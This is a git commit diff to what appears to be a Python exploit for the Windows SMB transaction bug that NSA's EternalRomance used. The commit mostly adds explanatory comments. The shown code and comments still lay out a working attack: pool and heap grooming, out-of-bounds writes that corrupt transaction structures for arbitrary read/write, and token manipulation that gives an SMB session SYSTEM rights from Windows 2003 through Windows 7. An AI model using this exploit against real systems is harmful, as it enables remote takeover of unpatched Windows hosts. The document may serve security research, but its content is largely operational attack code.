more exploit explanation with comment
This commit is contained in:
@@ -44,7 +44,7 @@ Note: method name is from NSA eternalromance
|
||||
|
||||
For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit
|
||||
for freed pool from large pool). Additionally, the exploit does the information leak to check transactions
|
||||
alignment before doing OOB write. So this exploit should never crash a target.
|
||||
alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later.
|
||||
|
||||
For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size
|
||||
smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But
|
||||
@@ -52,7 +52,7 @@ a transaction with empty setup is allocated on private heap (it is created by Rt
|
||||
Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment
|
||||
in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback
|
||||
of this method is we cannot do information leak to verify transactions alignment before OOB write.
|
||||
So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier.
|
||||
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier.
|
||||
'''
|
||||
|
||||
'''
|
||||
@@ -93,7 +93,8 @@ PsImperonateClient() ends the impersonation. Even there is no impersonation, the
|
||||
STATUS_SUCCESS when Token is NULL.
|
||||
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
|
||||
to do all SMB operations.
|
||||
Note: fake Token might be possible, but NULL token is much easier.
|
||||
Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
|
||||
ImpersonateSecurityContext() is used in these Windows versions.
|
||||
'''
|
||||
###########################
|
||||
# info for modify session security context
|
||||
@@ -401,10 +402,12 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
|
||||
|
||||
mid_ntrename = conn.next_mid()
|
||||
# first GROOM, for leaking next BRIDE transaction
|
||||
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
|
||||
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
|
||||
|
||||
# second GROOM, for controlling next BRIDE transaction
|
||||
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
|
||||
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
|
||||
reqs = []
|
||||
for i in range(12):
|
||||
mid = next_extra_mid()
|
||||
@@ -523,7 +526,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
info.update(leakInfo)
|
||||
|
||||
# ================================
|
||||
# shift trans1.Indata ptr with SmbWriteAndX
|
||||
# shift transGroom.Indata ptr with SmbWriteAndX
|
||||
# ================================
|
||||
shift_indata_byte = 0x200
|
||||
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
|
||||
@@ -556,13 +559,13 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# ================================
|
||||
print('modify trans1 struct for arbitrary read/write')
|
||||
fmt = info['PTR_FMT']
|
||||
# modify trans_special.InData to &trans1
|
||||
# use transGroom to modify trans2.InData to &trans1. so we can modify trans1 with trans2 data
|
||||
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# modify
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
|
||||
# - trans1.InData to &trans2. so we can modify trans2 easily
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
|
||||
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
|
||||
conn.send_nt_trans_secondary(mid=special_mid, data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
@@ -591,6 +594,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
else:
|
||||
# do not know target architecture
|
||||
# this case is only for Windows 2003
|
||||
# try offset of 64 bit then 32 bit because no target architecture
|
||||
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
|
||||
|
||||
# ================================
|
||||
@@ -604,6 +608,13 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
mid = info['fid'] if i == 8 else next_extra_mid()
|
||||
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||
|
||||
# expected transactions alignment
|
||||
#
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
# | mid=mid1 | mid=mid2 | | mid=mid8 | mid=fid | mid=mid9 | mid=mid10 | mid=mid11 |
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
# trans1 trans2
|
||||
|
||||
# ================================
|
||||
# shift transaction Indata ptr with SmbWriteAndX
|
||||
# ================================
|
||||
@@ -613,8 +624,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# ================================
|
||||
# Dangerous operation: attempt to control one transaction
|
||||
# ================================
|
||||
# POOL_ALIGN value is same as heap alignment value
|
||||
# TODO: try offset of 64 bit then 32 bit when no target architecture
|
||||
# Note: POOL_ALIGN value is same as heap alignment value
|
||||
success = False
|
||||
for tinfo in attempt_list:
|
||||
print('attempt controlling next transaction on ' + tinfo['ARCH'])
|
||||
@@ -650,11 +660,19 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
||||
# because of this unfreed memory chunk. I will avoid it.
|
||||
|
||||
# modify transactions before leaking transaction info
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
# transactions (do not know the address).
|
||||
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
|
||||
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
|
||||
# To be able to modify trans1 struct, we need to use trans2 param or data but write backward.
|
||||
# On 32 bit target, we can write to any address if parameter count is 0xffffffff.
|
||||
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
|
||||
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
|
||||
# we also modify HIDWORD of InParameter to 0xffffffff.
|
||||
|
||||
print('modify parameter count to 0xffffffff to be able to write backward')
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
# on 64 bit, modify InParam last 4 bytes to \xff\xff\xff\xff to write backward
|
||||
# this works because all transaction with empty setup is allocated with RtlAllocateHeap()
|
||||
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
@@ -667,7 +685,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
# restore InParameters pointer before leaking next transaction
|
||||
# restore trans2.InParameters pointer before leaking next transaction
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
@@ -691,6 +709,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
print('chunk size is wrong')
|
||||
return False
|
||||
|
||||
# extract leak transaction data and make next transaction to be trans2
|
||||
leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||
leakTrans = leakData[leakTranOffset:]
|
||||
fmt = info['PTR_FMT']
|
||||
@@ -714,13 +733,14 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# ================================
|
||||
print('modify transaction struct for arbitrary read/write')
|
||||
# modify
|
||||
# - trans1.mid
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
|
||||
# - trans1.InData to &trans2. so we can modify trans2 easily
|
||||
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself (trans1 param)
|
||||
# - trans1.InData to &trans2. so we can modify trans2 with trans1 data
|
||||
# Note: HIDWORD of trans1.InParameter is still 0xffffffff
|
||||
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
|
||||
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# modify trans1.mid
|
||||
trans1_mid = conn.next_mid()
|
||||
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
@@ -816,8 +836,6 @@ def exploit(target, pipe_name):
|
||||
# ================================
|
||||
# Modify this SMB session to be SYSTEM
|
||||
# ================================
|
||||
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
|
||||
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
|
||||
fmt = info['PTR_FMT']
|
||||
|
||||
print('make this SMB session to be SYSTEM')
|
||||
@@ -829,7 +847,10 @@ def exploit(target, pipe_name):
|
||||
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
||||
|
||||
if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
|
||||
# the target has only PCtxtHandle for impersonation (Windows 2003 and earlier)
|
||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||
# much more difficult because data offset in ETHREAD/EPROCESS is different between service pack.
|
||||
|
||||
# find the token and modify it
|
||||
if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
|
||||
pctxtDataInfo = read_data(conn, info, secCtxAddr+info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
|
||||
|
||||
Reference in New Issue
Block a user